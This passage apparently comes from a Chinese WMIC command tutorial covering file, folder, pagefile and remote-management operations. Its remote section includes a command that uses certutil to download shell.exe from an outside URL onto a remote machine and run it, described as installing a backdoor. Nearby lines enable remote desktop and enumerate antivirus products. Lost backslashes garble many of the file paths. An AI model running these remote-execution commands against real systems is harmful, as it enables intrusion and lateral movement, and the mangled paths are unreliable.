#USAGE: DATAFILE ASSOC [<format specifier>] DATAFILE CALL <method name> [<actual param list>] DATAFILE CREATE <assign list> DATAFILE DELETE DATAFILE GET [<property list>] [<get switches>] DATAFILE LIST [<list format>] [<list switches>] #Where 条件 # AccessMask=18809343 # Archive=TRUE # Caption=c: est.txt # Compressed=FALSE # CompressionMethod= # CreationClassName=CIM_LogicalFile # CreationDate=20181011185819.087958+480 # CSCreationClassName=Win32_ComputerSystem # CSName=PC-20170910QIBZ # Description=c: est.txt # Drive=c: # EightDotThreeFileName=c: est.txt # Encrypted=FALSE # EncryptionMethod= # Extension=txt # FileName=test # FileSize=55514 # FileType=Text Document # FSCreationClassName=Win32_FileSystem # FSName=NTFS # Hidden=FALSE # InstallDate=20181011185819.087958+480 # InUseCount= # LastAccessed=20181011185819.087958+480 # LastModified=20181011190254.894734+480 # Manufacturer= # Name=c: est.txt # Path= # Readable=TRUE # Status=OK # System=FALSE # Version= # Writeable=TRUEAccessMask=18809343 # Archive=TRUE # Caption=c: est.txt # Compressed=FALSE # CompressionMethod= # CreationClassName=CIM_LogicalFile # CreationDate=20181011185819.087958+480 # CSCreationClassName=Win32_ComputerSystem # CSName=PC-20170910QIBZ # Description=c: est.txt # Drive=c: # EightDotThreeFileName=c: est.txt # Encrypted=FALSE # EncryptionMethod= # Extension=txt # FileName=test # FileSize=55514 # FileType=Text Document # FSCreationClassName=Win32_FileSystem # FSName=NTFS # Hidden=FALSE # InstallDate=20181011185819.087958+480 # InUseCount= # LastAccessed=20181011185819.087958+480 # LastModified=20181011190254.894734+480 # Manufacturer= # Name=c: est.txt # Path= # Readable=TRUE # Status=OK # System=FALSE # Version= # Writeable=TRUE
基础实例:
#1.获取文件的创建、访问、修改时间 wmic datafile where "Name='c:windowssystem32cmd.exe'" get CreationDate,LastAccessed,LastModified # CreationDate LastAccessed LastModified # 20191114092108.255728+480 20191114092108.258724+480 20191114092108.258724+480 #2.可以进行文件查找(语句里面通配符以及) wmic datafile where "drive='e:' and path='test' and FileName='cc' and Extension='cmd'" list #查找e盘下test目录(不包括子目录)下的cc.cmd文件 wmic datafile where "drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list #查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K wmic datafile where "drive='h:' and extension='txt' and path like '%test%' and filename like '%perl%'" get name #查找h盘下目录含有test,文件名含有perl,后缀为txt的文件 wmic datafile where "drive='c:' and extension='ps1' and path like '%windows%' and filename like '%po%'" get name #比较实用的功能 #3.按照条件删除文件 wmic datafile where "drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete #删除e盘下文件大小大于10M的.cmd文件 wmic datafile where "drive='e:' and Extension<>'cmd' and path='test'" call delete #删除e盘下test目录(不包括子目录)下的非.cmd文件 #4.文件重命名 wmic datafile "c:hello.txt" call rename c: est.txt #改名c:hello.txt为c: est.txt #5.复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:,并改名为aa.bat wmic datafile where "drive='e:' and path='test' and FileName='cc' and Extension='cmd'" call copy "e:aa.bat" #注意目录的写法
WeiyiGeek.
fsdir - 文件目录系统项目管理
基础实例:
#1.查找e盘下名为test的目录 wmic FSDIR where "drive='e:' and filename='test'" list #2.删除c:good文件夹 wmic FSDIR "c:good" call delete wmic fsdir where "f:test" call delete # - 使用双斜杆转义 #3.删除e: est目录下除过目录abc的所有目录 wmic FSDIR where "drive='e:' and path='test' and filename<>'abc'" call delete #4.重命名c:good文件夹为abb wmic FSDIR "c:good" rename "c:abb" wmic fsdir where (name='c:test') rename "c:abc"
WeiyiGeek.
pagefileset
描述:页面文件设置管理 基础语法:
PAGEFILESET ASSOC [<格式说明符>] PAGEFILESET CREATE <分配列表> #注意: Create 不能用于创建新类。 PAGEFILESET DELETE PAGEFILESET GET [<属性列表>] [<获取开关>] PAGEFILESET LIST [<列表格式>] [<列表开关>] PAGEFILESET SET [<分配列表>]
基础实例:
#1.更改当前页面文件初始大小和最大值 wmic PAGEFILESET set InitialSize="512",MaximumSize="512" #2.页面文件设置到d:下,执行下面两条命令 wmic pagefileset create name='d:pagefile.sys',initialsize=512,maximumsize=1024 wmic pagefileset where "name='d:pagefile.sys'" delete 删除实例 WEIYIGEEKROOTCIMV2:Win32_PageFileSetting.Name="d:pagefile.sys" 实例删除成功。
0x06 远程操作
/node
描述:/node 远程计算机操作WMIC命令开启远程计算机的远程桌面连接;
基础语法:
#开启远程 wmic /node:"[full machine name]" /USER:"[domain][username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 #远程命令执行 wmic /node:[ip] /user:[用户] /password:[密码] process call create "shutdown.exe /r /f /t 0"
基础示例:
# 0.进行wmic控制台登录 wmic /node:"192.168.1.20" /user:"domainadministrator" /password:"123456" wmic /node:"192.168.1.88" /user:"domainWeiyiGeek" /password:"weiye" # 1.WMIC命令开启远程计算机的远程桌面连接 wmic /node:10.2.14.20 /USER:"10.2.14.20/administrator" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 2.远程计算机操作实例(打开笔记本) wmic /node:10.2.14.200 /user:administrator process call create notepad.exe #在远程机器上创建新进程(值得利用) 会返回进程ID # 3.利用 wmic 实现远程下载后门 wmic /node:192.168.1.10 /user:administrator /password:123123 PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe c:/shell.exe & c:/shell.exe & certutil.exe -urlcache -split -f http://WEIYIGEEK.com/shell.exe delete" # 4.由于wmic执行远程命令没有回显所以要将结果写入到txt中 wmic /node:[TargetIp] /user:[UserName] /password:[Password] process call create "cmd.exe /c ipconfig > c: esult.txt" type result.txt
WeiyiGeek.远程管理
rdtoggle
描述:查看与设置远程桌面连接;
基础示例:
#1.查看远程连接的信息 wmic rdtoggle list # AllowTSConnections ServerName # 0 WEIYIGEEK #2.开2003的3389 wmic RDTOGGLE where "name='WEIYIGEEK'" call SetAllowTSConnections 1
0x07 namespace - 名称空间
(1) ootsecuritycenter2
基础示例:
# - 获取反病毒产品详情 wmic /namespace:rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe # displayName pathToSignedProductExe productState # 火绒安全软件 C:Program Files (x86)HuorongSysdiaginwsctrl.exe 266240 # Windows Defender windowsdefender:// 401664 # 火绒安全软件 C:Program Files (x86)HuorongSysdiaginwsctrlsvc.exe 266240
加载全部内容